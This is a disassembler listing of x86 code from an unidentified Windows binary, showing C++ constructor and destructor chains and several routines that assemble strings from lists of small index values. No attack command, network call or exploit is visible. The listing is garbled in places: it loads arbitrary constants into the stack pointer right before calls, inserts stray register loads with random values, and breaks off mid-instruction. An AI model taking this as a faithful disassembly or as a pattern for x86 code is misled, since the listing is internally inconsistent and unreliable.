loc_4104AE: ; CODE XREF: sub_410430+7Aj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 5 push 12h push 4Fh lea edx, [esp+74h+var_3C] push 9 push edx call sub_4018DE add esp, 34h push ebx mov ecx, eax mov [esp+4Ch+var_4], 1 call sub_401726 push eax lea eax, [esi+27Eh] push eax mov ecx, 0EDCF9Ch call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_41050B lea ebx, [esi+11h] jmp short loc_41050D ; --------------------------------------------------------------------------- loc_41050B: ; CODE XREF: sub_410430+D4j xor ebx, ebx loc_41050D: ; CODE XREF: sub_410430+D9j push 0 push 14h push 12h push 1 push 10h push 4Fh lea ecx, [esp+60h+var_3C] push 9 push ecx call sub_4018DE add esp, 20h push ebx mov ecx, eax mov [esp+4Ch+var_4], 2 call sub_401726 lea edx, [esi+1C6h] push eax push edx mov ecx, 0F6E7Ch call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_410560 lea ebx, [esi+11h] jmp short loc_410562 ; --------------------------------------------------------------------------- loc_410560: ; CODE XREF: sub_410430+129j xor ebx, ebx loc_410562: ; CODE XREF: sub_410430+12Ej push 0 push 5 push 4 push 0Fh push 0Dh push 4Fh lea eax, [esp+60h+var_3C] push 9 push eax call sub_4018DE add esp, 20h push ebx mov ecx, eax mov [esp+4Ch+var_4], 3 call sub_401726 lea ecx, [esi+16Ah] push eax push ecx mov edi, offset byte_487B73 call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_4105B5 lea ebx, [esi+11h] jmp short loc_4105B7 ; --------------------------------------------------------------------------- loc_4105B5: ; CODE XREF: sub_410430+17Ej xor ebx, ebx loc_4105B7: ; CODE XREF: sub_410430+183j push 0 push 7 push 13h push 0Dh push 4Fh lea edx, [esp+5Ch+var_3C] push 9 push edx call sub_4018DE add esp, 1Ch push ebx mov ecx, eax mov [esp+4Ch+var_4], 4 call sub_401726 push eax lea eax, [esi+1F4h] push eax mov esi, 587B7h call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_410608 lea ebx, [esi+11h] jmp short loc_41060A ; --------------------------------------------------------------------------- loc_410608: ; CODE XREF: sub_410430+1D1j xor ebx, ebx loc_41060A: ; CODE XREF: sub_410430+1D6j push 0 push 5 push 3 push 9 push 14h push 0Fh push 0Eh push 4Fh lea ecx, [esp+68h+var_3C] push 9 push ecx call sub_4018DE add esp, 28h push ebx mov ecx, eax mov [esp+4Ch+var_4], 5 call sub_401726 lea edx, [esi+0B2h] push eax push edx mov ebp, 0E0561Eh call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_410661 lea ebx, [esi+11h] jmp short loc_410663 ; --------------------------------------------------------------------------- loc_410661: ; CODE XREF: sub_410430+22Aj xor ebx, ebx loc_410663: ; CODE XREF: sub_410430+22Fj push 0 push 14h push 3 push 5 push 0Eh push 0Eh push 0Fh push 3 push 13h push 9 push 4 push 4Fh lea eax, [esp+78h+var_3C] push 9 push eax call sub_4018DE add esp, 38h push ebx mov ecx, eax mov [esp+4Ch+var_4], 6 call sub_401726 lea ecx, [esi+56h] push eax push ecx mov eax, offset dword_4B8158 call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_4106BF lea ebx, [esi+11h] jmp short loc_4106C1 ; --------------------------------------------------------------------------- loc_4106BF: ; CODE XREF: sub_410430+288j xor ebx, ebx loc_4106C1: ; CODE XREF: sub_410430+28Dj push 0 push 14h push 13h push 0Fh push 8 push 14h push 5 push 7 push 4Fh lea edx, [esp+6Ch+var_3C] push 9 push edx call sub_4018DE add esp, 2Ch push ebx mov ecx, eax mov [esp+4Ch+var_4], 7 call sub_401726 push eax lea eax, [esi+10Eh] push eax mov edx, 0A52E05h call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_41071A lea ebx, [esi+11h] jmp short loc_41071C ; --------------------------------------------------------------------------- loc_41071A: ; CODE XREF: sub_410430+2E3j xor ebx, ebx loc_41071C: ; CODE XREF: sub_410430+2E8j push 0 push 0Fh push 6 push 0Eh push 9 push 14h push 5 push 0Eh push 4Fh lea ecx, [esp+6Ch+var_3C] push 9 push ecx call sub_4018DE add esp, 2Ch push ebx mov ecx, eax mov [esp+4Ch+var_4], 8 call sub_401726 lea edx, [esi+198h] push eax push edx mov eax, 6DA970h call sub_401523 lea ecx, [esp+48h+var_3C] mov [esp+48h+var_4], edi call sub_4011F9 test esi, esi jz short loc_410775 lea ebx, [esi+11h] jmp short loc_410777 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_410430+33Ej xor ebx, ebx loc_410777: ; CODE XREF: sub_410430+343j push 0 push 0Eh push 9 push 0Fh push 0Ah push 4Fh lea eax, [esp+60h+var_24] push 9 push eax call sub_4018DE add esp, 20h push ebx mov ecx, eax mov [esp+4Ch+var_4], 9 call sub_401726 add esi, 13Ch push eax push esi mov ebp, 22DB52h call sub_401523 lea ecx, [esp+48h+var_24] mov [esp+48h+var_4], edi call sub_4011F9 mov ecx, [esp+48h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 3Ch retn sub_410430 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 0F0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4108D0 proc near ; CODE XREF: sub_4019D8j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push 116DA9h push eax mov large fs:0, esp sub esp, 78h push ebx push ebp push esi mov esi, [esp+90h+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+45h] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jz loc_410DF9 lea ecx, [edi+26Dh] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jz loc_410DF9 lea ecx, [edi+0A1h] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_4109D2 push offset dword_48B6D4 lea eax, [esp+98h+var_6C] push 2 push eax mov ecx, esi call sub_401622 mov ebp, eax push 245B6Ah lea ecx, [esp+98h+var_84] push 1 xor ebx, ebx push ecx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_401622 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 1 call sub_401726 push eax mov ecx, esi call sub_401726 mov edx, ds:dword_43FF58 push eax push edx add edi, 0FFFFFFEFh push 122DB5h push edi call sub_401CDA add esp, 14h lea ecx, [esp+94h+var_84] mov byte ptr [esp+94h+var_4], bl call sub_4011F9 lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_4011F9 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_4109D2: ; CODE XREF: sub_4108D0+70j lea ecx, [edi+187h] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz short loc_410A49 add edi, 0FFFFFFEFh lea eax, [esp+94h+var_6C] push eax mov ecx, edi call sub_401C12 mov ecx, eax mov [esp+94h+var_4], 2 call sub_401726 push eax push offset word_4916DA lea ecx, [esi+69h] call sub_401479 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push edi call sub_40178F add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_4011F9 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_4108D0+117j lea ecx, [edi+0FDh] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_410B04 push 648B6Dh lea eax, [esp+98h+var_6C] push 1 push eax mov ecx, esi call sub_401622 push eax lea ecx, [edi+17h] mov [esp+98h+var_4], 3 call sub_4017D5 or ebp, 0FFFFFFFFh lea ecx, [esp+94h+var_6C] mov ebx, eax mov [esp+94h+var_4], ebp call sub_4011F9 test ebx, ebx jz loc_410E22 lea ecx, [esp+94h+var_6C] add edi, 0FFFFFFEFh push ecx mov ecx, edi call sub_401C12 mov ecx, eax mov [esp+94h+var_4], 4 call sub_401726 push eax push 7245B6h lea ecx, [esi+69h] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push edi call sub_40178F add esp, 18h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], ebp call sub_4011F9 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410B04: ; CODE XREF: sub_4108D0+18Ej lea ecx, [edi+12Bh] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_410BAD push 3922DBh lea ecx, [esp+98h+var_84] push 2 push ecx mov ecx, esi call sub_401622 mov ebp, eax push 5C916Dh lea edx, [esp+98h+var_6C] mov esi, 2EE48Bh push 1 push edx mov ecx, esi mov [esp+0A0h+var_4], ebx call sub_401622 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 6 call sub_401726 push eax mov ecx, esi call sub_401726 push eax mov eax, ds:dword_43FF5C push eax add edi, 0FFFFFFEFh push 177245h push edi call sub_401CDA add esp, 14h lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], bl call sub_4011F9 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_4011F9 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410BAD: ; CODE XREF: sub_4108D0+249j lea ecx, [edi+1B5h] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz short loc_410C1B push offset word_4BB922 lea ecx, [esp+98h+var_6C] push 1 push ecx mov ecx, esi call sub_401622 mov ecx, eax mov [esp+94h+var_4], 7 call sub_401726 mov edx, ds:dword_43FF88 push eax push edx add edi, 0FFFFFFEFh push 65DC91h push edi call sub_401CDA add esp, 10h lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_4011F9 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410C1B: ; CODE XREF: sub_4108D0+2F2j lea ecx, [edi+23Fh] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz short loc_410C7D lea eax, [esp+94h+var_6C] push 9 push eax mov ecx, esi call sub_401CF8 mov ecx, eax mov [esp+94h+var_4], 8 call sub_401726 push eax add edi, 0FFFFFFEFh push 72EE48h push edi call sub_401CDA add esp, 0Ch lea ecx, [esp+94h+var_6C] mov [esp+94h+var_4], 0FFFFFFFFh call sub_4011F9 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410C7D: ; CODE XREF: sub_4108D0+360j lea ecx, [edi+1E3h] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_410D1D push 397724h lea ecx, [esp+98h+var_84] push 1 push ecx mov ecx, esi call sub_401622 mov ebp, eax push 1 push 5CBB92h lea edx, [esp+9Ch+var_6C] push 2 push edx mov ecx, esi mov [esp+0A4h+var_4], 9 call sub_4011C2 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Ah call sub_401479 push eax mov ecx, esi call sub_401479 xor ebx, ebx push eax push ebx push ebx lea ecx, [edi-11h] call sub_4010FF lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 9 call sub_4011F9 lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], 0FFFFFFFFh call sub_4011F9 jmp loc_410E22 ; --------------------------------------------------------------------------- loc_410D1D: ; CODE XREF: sub_4108D0+3C2j lea ecx, [edi+159h] call sub_401726 push eax mov ecx, ebx call sub_4012B7 test eax, eax jnz loc_410E22 push 2E5DC9h lea eax, [esp+98h+var_24] push 3 push eax mov ecx, esi call sub_401622 mov ebp, eax push 572EE4h lea ecx, [esp+98h+var_3C] push 2 push ecx mov ecx, esi mov [esp+0A0h+var_4], 0Bh call sub_401622 mov ebx, eax push 6B9772h lea edx, [esp+98h+var_54] push 1 push edx mov ecx, esi mov byte ptr [esp+0A0h+var_4], 0Ch call sub_401622 mov esi, eax mov ecx, ebp mov byte ptr [esp+94h+var_4], 0Dh call sub_401726 push eax mov ecx, ebx call sub_401726 push eax mov ecx, esi call sub_401726 push eax mov eax, ds:dword_43FF8C push eax add edi, 0FFFFFFEFh push 75CBB9h push edi call sub_401CDA add esp, 18h lea ecx, [esp+94h+var_54] mov byte ptr [esp+94h+var_4], 0Ch call sub_4011F9 lea ecx, [esp+94h+var_3C] mov byte ptr [esp+94h+var_4], 0Bh call sub_4011F9 lea ecx, [esp+94h+var_24] mov [esp+94h+var_4], 0FFFFFFFFh call sub_4011F9 jmp short loc_410E22 ; --------------------------------------------------------------------------- loc_410DF9: ; CODE XREF: sub_4108D0+3Aj ; sub_4108D0+55j xor ebx, ebx mov [edi+0Fh], ebx mov [edi+0Bh], ebx mov [edi+5], bl mov [edi+4], bl mov ecx, [edi+7] push ecx call dword ptr ds:7AE5DCh mov ebp, 0BD72Eh mov dword ptr [edi+7], 0FFFFFFFFh call sub_4014CE loc_410E22: ; CODE XREF: sub_4108D0+FDj ; sub_4108D0+174j ... mov ecx, [esp+94h+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 84h retn 4 sub_4108D0 endp ; --------------------------------------------------------------------------- db 90h db 160h dup(0CCh) ; --------------------------------------------------------------------------- loc_410FA0: ; CODE XREF: sub_401C12j push 0FFFFFFFFh push 5EB97h ; --------------------------------------------------------------------------- db 64h dword_410FA8 dd 0A1h ; DATA XREF: _294ADE7B:004182FEr dd 89645000h, 25h, 40EC8300h, 8DF18B56h, 0C72C244Ch, 82444h dd 0E8000000h, 0FFFF0403h, 4C8DC033h, 44890424h, 548D0C24h dd 44890C24h, 89511024h, 52182444h, 20244489h, 5018468Bh dd 582444C7h, 1, 102444C7h, 10h, 0F5CB15FFh, 4C8B0042h dd 548B1324h, 448B1224h, 0E1811124h, 0FFh, 244C8B51h, 0FFE28114h dd 25000000h, 0FFh, 0FFE18152h, 50000000h, 24548D51h, 7AE5682Ch dd 0FF520021h, 50BD7215h, 18C48300h, 2C244C8Dh, 285EB968h dd 516E800h, 5C68FFFFh, 8D00542Fh, 0E830244Ch, 0FFFF095Eh dd 1C24448Dh, 2C244C8Dh, 950E850h, 0AE68FFFFh, 8D002A17h dd 0E830244Ch, 0FFFF0942h, 8D28C683h, 562C244Ch, 0FF05A7E8h dd 0BD768FFh, 4C8D0015h, 27E83024h, 8DFFFF09h, 511C244Ch dd 0FF0387E8h, 4C483FFh, 774C084h, 0A85EB68h, 6805EB00h dd 4542F5h, 30244C8Dh, 0FF0901E8h, 24748BFFh, 24548D54h dd 0CE8B522Ch, 0FF03A6E8h, 2444C7FFh, 108h, 244C8D00h dd 2444C62Ch, 1AE8004Ch, 8BFFFF01h, 8B44244Ch, 89645EC6h dd 0Dh, 4CC48300h, 900004C2h, 3 dup(90909090h), 18h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_411160 proc near ; CODE XREF: sub_401514j arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] push esi mov esi, ecx push edi mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov eax, [esi+18h] push 0 not ecx dec ecx push ecx push ebp push eax call dword ptr ds:62A17Ah mov edx, eax mov edi, ebp or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp edx, ecx jnb short loc_4111BE mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call dword ptr ds:3150BDh mov ebx, 0A18A85h mov dword ptr [esi+18h], 0FFFFFFFFh call sub_4014CE pop edi pop esi xor al, al pop ebp retn 4 ; --------------------------------------------------------------------------- loc_4111BE: ; CODE XREF: sub_411160+33j pop edi pop esi mov al, 1 pop ebp retn 4 sub_411160 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4111F0 proc near ; CODE XREF: sub_401CDAj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = byte ptr 200Ch mov eax, 8D0C54h call sub_430390 mov ecx, [esp+arg_2004] lea eax, [esp+arg_2008] push eax push ecx lea edx, [esp+8] push offset word_46862A push edx call dword ptr ds:234315h mov ecx, [esp+10h+arg_2000] add esp, 10h lea eax, [esp+0] push eax call sub_401514 add esp, 2000h retn sub_4111F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_411260: ; CODE XREF: sub_4010FFj mov eax, large fs:0 push 0FFFFFFFFh push 51A18Ah push eax mov al, [esp+10h] mov large fs:0, esp sub esp, 30h test al, al push esi mov esi, ecx jz short loc_411297 xor al, al pop esi mov ecx, [esp+30h] ; --------------------------------------------------------------------------- dword_41128A dd 0D8964h ; DATA XREF: sub_40B260+1Dr align 10h dd 3CC48300h ; --------------------------------------------------------------------------- retn 10h ; --------------------------------------------------------------------------- loc_411297: ; CODE XREF: _294ADE7B:00411281j lea ecx, [esp+4] call sub_4013CF mov al, [esp+48h] mov dword ptr [esp+3Ch], 0 test al, al jz short loc_4112B8 mov eax, ds:dword_43FF58 push eax jmp short loc_4112BF ; --------------------------------------------------------------------------- loc_4112B8: ; CODE XREF: _294ADE7B:004112AEj mov ecx, ds:dword_43FF60 push ecx loc_4112BF: ; CODE XREF: _294ADE7B:004112B6j lea ecx, [esp+8] call sub_401564 push ebx lea ecx, [esp+20h] call sub_4013CF mov edx, [esp+50h] mov eax, [esp+54h] push edx push eax lea ecx, [esp+10h] mov byte ptr [esp+48h], 1 call sub_401726 push eax lea ecx, [esp+2Ch] push 68D0C5h push ecx call sub_40102D add esp, 14h lea ecx, [esp+20h] call sub_401479 push eax mov ecx, esi call sub_401514 lea ecx, [esp+20h] mov bl, al mov byte ptr [esp+40h], 0 call sub_4011F9 lea ecx, [esp+8] mov dword ptr [esp+40h], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+38h] mov al, bl pop ebx pop esi mov large fs:0, ecx add esp, 3Ch retn 10h ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411390 proc near ; CODE XREF: sub_40178Fj arg_2000 = dword ptr 2004h arg_2004 = dword ptr 2008h arg_2008 = dword ptr 200Ch arg_200C = dword ptr 2010h arg_2010 = dword ptr 2014h arg_2014 = byte ptr 2018h mov esp, 0E34686h call sub_430390 mov ecx, [esp+arg_2010] lea eax, [esp+arg_2014] push eax push ecx lea edx, [esp+8] push 71A343h push edx call dword ptr ds:78D1A1h mov eax, [esp+10h+arg_200C] mov edx, [esp+10h+arg_2008] add esp, 10h lea ecx, [esp+0] push eax mov eax, [esp+4+arg_2004] push ecx mov ecx, [esp+8+arg_2000] push edx push eax call sub_4010FF add esp, 2000h retn sub_411390 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411410 proc near ; CODE XREF: sub_401BEAj push esi mov esi, ecx call sub_401E60 mov eax, [esi+1Ch] inc eax mov [esi+1Ch], eax pop esi retn sub_411410 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411440 proc near ; CODE XREF: sub_401E60j push esi mov esi, ecx xor al, al mov [esi+16h], al mov [esi+15h], al mov eax, [esi+18h] push eax call dword ptr ds:3C68D0h mov ebx, 578D1h mov dword ptr [esi+18h], 0FFFFFFFFh call sub_4014CE pop esi retn sub_411440 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411480 proc near ; CODE XREF: sub_401686j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov dl, [ecx] xor ecx, ecx mov [eax], dl mov [eax+4], ecx mov [eax+8], ecx mov [eax+0Ch], ecx retn 4 sub_411480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4114B0 proc near ; CODE XREF: _294ADE7B:004018EDj ; sub_401956j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401366 test [esp+4+arg_0], 1 jz short loc_4114C8 push esi call sub_430332 add esp, 4 loc_4114C8: ; CODE XREF: sub_4114B0+Dj mov eax, esi pop esi retn 4 sub_4114B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4114E0 proc near ; CODE XREF: sub_401366j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 0ABC68h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_437028 mov dword ptr [esi+11h], offset off_437034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401A5F lea ecx, [esi+2ACh] mov byte ptr [esp+14h+var_4], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+14h+var_4], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+14h+var_4], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+14h+var_4], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+14h+var_4], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+14h+var_4], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+14h+var_4], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+14h+var_4], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+14h+var_4], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+14h+var_4], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+14h+var_4], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+14h+var_4], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+14h+var_4], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+14h+var_4], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+28h] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401EC9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4114E0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4116A0 proc near ; CODE XREF: sub_401A5Fj push esi mov esi, ecx mov eax, [esi+8] mov ecx, [esi+4] push eax push ecx mov ecx, esi call sub_401677 mov eax, [esi+4] mov edx, [esi+0Ch] sub edx, eax mov ecx, esi sar edx, 2 push edx push eax call sub_40125D xor eax, eax mov [esi+4], eax mov [esi+8], eax mov [esi+0Ch], eax pop esi retn sub_4116A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4116F0 proc near ; CODE XREF: sub_4010AAj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 55E34h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401D2F lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401EE7 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_437038 mov dword ptr [esi+11h], 0 mov byte ptr [esi+0ABh], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4116F0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_411770: ; CODE XREF: _294ADE7B:loc_40113Bj ; _294ADE7B:00401659j push esi mov esi, ecx call sub_40101E test byte ptr [esp+8], 1 jz short loc_411788 push esi call sub_430332 add esp, 4 loc_411788: ; CODE XREF: _294ADE7B:0041177Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4117A0 proc near ; CODE XREF: sub_40101Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 2AF1Ah mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_437038 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401893 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401EC9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4117A0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_411820 proc near ; CODE XREF: sub_401EE7j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push (offset loc_41578B+2) mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4013CF lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_4013CF lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_4013CF lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_4013CF lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_4013CF lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_4013CF lea ecx, [esi+7Eh] mov byte ptr [esp+14h+var_4], 5 call sub_4013CF mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_411820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4118E0 proc near ; CODE XREF: sub_401893j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 20ABC6h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+7Eh] mov [esp+14h+var_4], 5 call sub_4011F9 lea ecx, [esi+69h] mov byte ptr [esp+14h+var_4], 4 call sub_4011F9 lea ecx, [esi+54h] mov byte ptr [esp+14h+var_4], 3 call sub_4011F9 lea ecx, [esi+3Fh] mov byte ptr [esp+14h+var_4], 2 call sub_4011F9 lea ecx, [esi+2Ah] mov byte ptr [esp+14h+var_4], 1 call sub_4011F9 lea ecx, [esi+15h] mov byte ptr [esp+14h+var_4], 0 call sub_4011F9 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4118E0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4119A0 proc near ; CODE XREF: sub_401DC5j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 1055E3h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 6 push 9 push 4Fh push 3 push 9 push 7 push 0Fh lea eax, [esp+48h+var_24] push 0Ch mov esi, ecx push eax call sub_4018DE add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401726 add esi, 4 push eax push esi mov esp, 21055Eh call sub_401523 lea ecx, [esp+28h+var_24] mov [esp+28h+var_4], 0FFFFFFFFh call sub_4011F9 mov ecx, [esp+28h+var_C] pop esi mov large fs:0, ecx add esp, 24h retn sub_4119A0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_411A40: ; CODE XREF: _294ADE7B:loc_40100Aj mov eax, large fs:0 push 0FFFFFFFFh push 1082AFh push eax mov large fs:0, esp sub esp, 90h add ecx, 4 push ebp push esi mov esi, [esp+0A8h] lea ebp, [esi+7Eh] call sub_401726 push eax mov ecx, ebp call sub_4012B7 test eax, eax jnz loc_411D66 push ebx push edi push 84157h lea eax, [esp+44h] push 1 push eax mov ecx, esi call sub_401622 push offset byte_4420AB lea ecx, [esp+2Ch] push 2 push ecx mov ecx, esi mov dword ptr [esp+0B4h], 0 call sub_401622 push 621055h lea edx, [esp+14h] push 3 push edx mov ecx, esi mov byte ptr [esp+0B4h], 1 call sub_401622 push 31082Ah lea eax, [esp+74h] push 0 push eax mov ecx, esi mov byte ptr [esp+0B4h], 2 call sub_401622 mov edi, eax lea ecx, [esp+10h] mov byte ptr [esp+0A8h], 3 call sub_401384 lea ecx, [esp+28h] mov ebx, eax call sub_401384 lea ecx, [esp+40h] add ebx, eax call sub_401384 mov ecx, edi add ebx, eax call sub_401384 lea ecx, [esp+70h] lea edi, [ebx+eax+4] mov byte ptr [esp+0A8h], 2 call sub_4011F9 lea ecx, [esp+58h] push edi push ecx mov ecx, esi call sub_401CF8 push 588415h lea edx, [esp+8Ch] push 4 push edx mov ecx, esi mov byte ptr [esp+0B4h], 4 call sub_401622 lea ecx, [esp+70h] push 1 mov bl, 5 push ecx mov ecx, eax mov 